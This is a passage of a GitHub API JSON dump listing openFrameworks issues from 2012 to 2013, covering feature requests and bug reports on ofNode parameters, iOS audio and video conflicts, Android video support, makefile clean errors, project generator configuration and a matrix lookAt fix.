\r\n`ofVec*f::lengthSquared()`, `ofVideoGrabber::grabFrame()` and `ofVideoPlayer::idleMovie()`,\r\n`ofPolyline::addVertexes`, \r\n`ofGraphics: ofVertexes`, `ofGraphics: ofCurveVertexes`, \r\n`ofQTKitPlayer::bind()`, `ofQTKitPlayer::unbind()`,\r\n`ofAppiPhoneWindow::enableRetinaSupport()`, `ofAppiPhoneWindow::isRetinaSupported()`, `ofAppiPhoneWindow::isDepthEnabled()`,"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1426","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1426/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1426/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1426/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1426","id":5863670,"number":1426,"title":"feature : recode ofNode to use parameters","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":26,"created_at":"2012-07-26T20:43:28Z","updated_at":"2012-08-01T09:23:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all!\n\nI need a way of having the translate, rotate and scale of an ofNode (essentially all the acknowledged parameters) act as parameters.\n\nMy suggestion before was to make parameters able to use external values (e.g. you can make your own ofParameter-type class that doesn't internally store an ofVec3f, but instead gets and sets the position of an ofNode. with that class being able to sit within the inheritance tree of ofParameter, and therefore be tied to a slider, etc).\nThis suggestion didn't get positive response as it complicates ofParameter\n\nThe next suggestion is to recode ofNode to internally use 3 parameters:\n\n```c++\nofParameter translation;\nofParameter rotation;\nofParameter scale;\n```\n\nyou could then bind external sliders to these parameters\nwe keep the existing API\nthe biggest difference would be that you couldn't apply a projective transform to an ofNode (if you applied a matrix, we'd perform some decomposition to make it back into a Tra,Rot,Sca\n\nthe alternative so far has been to cache values somewhere, and have an update loop that checks for changes inside the ofNode\ni'd like to avoid this as it's very messy (e.g. who does this update, what is the epsilon value, etc)\n\nthis isn't an easy ask, but the type of control that it unlocks is really powerful\nso your consideration is appreciated"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1425","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1425/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1425/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1425/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1425","id":5853550,"number":1425,"title":"ofiPhoneVideoPlayer clash with ofSoundStream","user":{"login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","html_url":"https://github.com/chrisoshea","followers_url":"https://api.github.com/users/chrisoshea/followers","following_url":"https://api.github.com/users/chrisoshea/following","gists_url":"https://api.github.com/users/chrisoshea/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisoshea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisoshea/subscriptions","organizations_url":"https://api.github.com/users/chrisoshea/orgs","repos_url":"https://api.github.com/users/chrisoshea/repos","events_url":"https://api.github.com/users/chrisoshea/events{/privacy}","received_events_url":"https://api.github.com/users/chrisoshea/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":6,"created_at":"2012-07-26T13:28:07Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"bug, iOS. tested on 5.0\n\nTake the audio input example & add an instance of ofVideoPlayer & just loadMovie in setup and do nothing else. The audio input doesn't work anymore.\n\nThe buffer size drops from 512 to 470. This only happens if you load a movie that has sound, a movie with no sound doesn't effect the ofSoundStream.\n\n(posted on the forum)\nhttp://forum.openframeworks.cc/index.php/topic,9558.msg47111.html#msg47111"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1416","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1416/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1416/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1416/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1416","id":5768792,"number":1416,"title":"ofAndroid lacks videoplayer","user":{"login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","url":"https://api.github.com/users/hvfrancesco","html_url":"https://github.com/hvfrancesco","followers_url":"https://api.github.com/users/hvfrancesco/followers","following_url":"https://api.github.com/users/hvfrancesco/following","gists_url":"https://api.github.com/users/hvfrancesco/gists{/gist_id}","starred_url":"https://api.github.com/users/hvfrancesco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hvfrancesco/subscriptions","organizations_url":"https://api.github.com/users/hvfrancesco/orgs","repos_url":"https://api.github.com/users/hvfrancesco/repos","events_url":"https://api.github.com/users/hvfrancesco/events{/privacy}","received_events_url":"https://api.github.com/users/hvfrancesco/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":9,"created_at":"2012-07-22T21:14:34Z","updated_at":"2012-07-30T06:48:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this is a feature request.\nI'm rather confident Arturo has been already addressing the theme.\nI've been having a look at android docs and NDK, but couldn't get a clear view of the involved complexity and of real possibilities.\nShould be possible to pass a SurfaceTexture through JNI? can a SurfaceTexture be generated in the OF GLSurfaceView context and then set to be used as the sink for the video portion of the media?\nI'm a bit confused about it, sorry"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1415","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1415/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1415/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1415/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1415","id":5767180,"number":1415,"title":"buildAllExamples script should not error out on first failed compilation","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-07-22T16:52:26Z","updated_at":"2012-07-22T16:52:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\nThe buildAllExamples script should imo not exit when an example compilation fails, but store the example ID (and maybe error) and continue on, and at the end print a list of failed examples. \nThis would also be nifty w.r.t to automated testing - a CI server could directly call this script and all examples would be tested even if, e.g., the glnfoExample fails. Currently I run a modified version of this script while playing with Jenkins - just commented out the \"exit\".\nThoughts, @arturoc , @benben, @underdoeg?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1414","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1414/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1414/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1414/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1414","id":5767040,"number":1414,"title":"makefile cleanRelease target - Command not found","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-07-22T16:26:45Z","updated_at":"2012-07-22T16:26:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When executing the `cleanAllExamples` script (or just saying `make clean` in an example's folder), I get:\n\n\t\tcleaning + shaderExample\n\t\trm -rf obj/i686Release/\n\t\trm -f bin/shaderExample_debug bin/shaderExample\n\t\trm -rf bin/libs\n\t\tcleanRelease:\n\t\tmake: cleanRelease:: Command not found\n\t\tmake: *** [clean] Error 127\n\nAside from the slight output error of the superfluous `+` in the first line (trivially corrected), there's this error about `cleanRelease:: Command not found`. I tried to see how this could be corrected, but my make-fu is not strong enough. @arturoc, do you know how to correct this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1413","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1413/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1413/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1413/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1413","id":5758354,"number":1413,"title":"ofiPhoneVideoGrabber additions from Oriol","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-07-22T05:54:34Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Oriol made some nice additions to ofiPhoneVideoGrabber,\nadding support for focus / exposure / whiteBalance / torch.\nhttp://forum.openframeworks.cc/index.php/topic,10354.0.html\n\nneed to merge these into develop."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1412","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1412/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1412/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1412/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1412","id":5756495,"number":1412,"title":"OF_ROOT location should be able to be given to PG as an argument","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-07-21T21:36:34Z","updated_at":"2012-08-30T17:00:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hi!\nThe config file which indicates OF_ROOT is currently in `~/.ofprojectgenerator/config`. This just became a problem when I was working on Jenkins CI builds:\nOn the one hand, the dialog that pops up that wants you to select the root folder doesn't find a display to open (of course, since this is basically headless for now, and this is the only thing in the whole chain which would necessitate a display I think).\nOn the other hand, the jenkins user which by default executes these tests doesn't have a home folder, so you can't even put the file there by hand. (This I can work around by creating a home folder for this user)\nBoth these problems would disappear if one could give the OF_ROOT location to the PG as a separate argument. I propose `--ofRoot `\n\n@arturoc @benben: opinions?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1409","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1409/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1409/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1409/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1409","id":5731901,"number":1409,"title":"ios project - upgrade to latest project format","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":3,"created_at":"2012-07-20T07:51:50Z","updated_at":"2013-02-11T12:16:05Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"im running the XCode 4.3.2 and its constantly asking me to upgrade iOS projects.\nthis is the message...\n\n\"The project is currently archived in the Xcode 3.1-compatible format.\nThis will upgrade the project format to the latest format Xcode 3.2-compatible.\"\n\nXcode 3.1 is pretty old, so thinking its ok to upgrade to Xcode 3.2 and drop Xcode 3.1 support.\n\nimagine this would be the same for osx.\n\nhow does everyone feel about this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1403","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1403/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1403/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1403/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1403","id":5638136,"number":1403,"title":"ofMatrix4x4 makelookat","user":{"login":"neuroprod","id":640585,"avatar_url":"https://secure.gravatar.com/avatar/3623ccdee8e3a141ff0e8d4e8447671d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3623ccdee8e3a141ff0e8d4e8447671d","url":"https://api.github.com/users/neuroprod","html_url":"https://github.com/neuroprod","followers_url":"https://api.github.com/users/neuroprod/followers","following_url":"https://api.github.com/users/neuroprod/following","gists_url":"https://api.github.com/users/neuroprod/gists{/gist_id}","starred_url":"https://api.github.com/users/neuroprod/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neuroprod/subscriptions","organizations_url":"https://api.github.com/users/neuroprod/orgs","repos_url":"https://api.github.com/users/neuroprod/repos","events_url":"https://api.github.com/users/neuroprod/events{/privacy}","received_events_url":"https://api.github.com/users/neuroprod/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-07-16T12:43:55Z","updated_at":"2012-07-16T21:33:11Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"line 922 ofmatrix4x4.cpp\n\n_mat[3] = eye;\n\nshould be: \n\n_mat[3] .set(eye.x,eye.y, eye.z, 1);\n\na vec3 to vec4 casts the w as 0 (which i find the real strange thing...)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1402","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1402/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1402/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1402/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1402","id":5636049,"number":1402,"title":"Project Generator GUI: can't see all addons when list is relatively 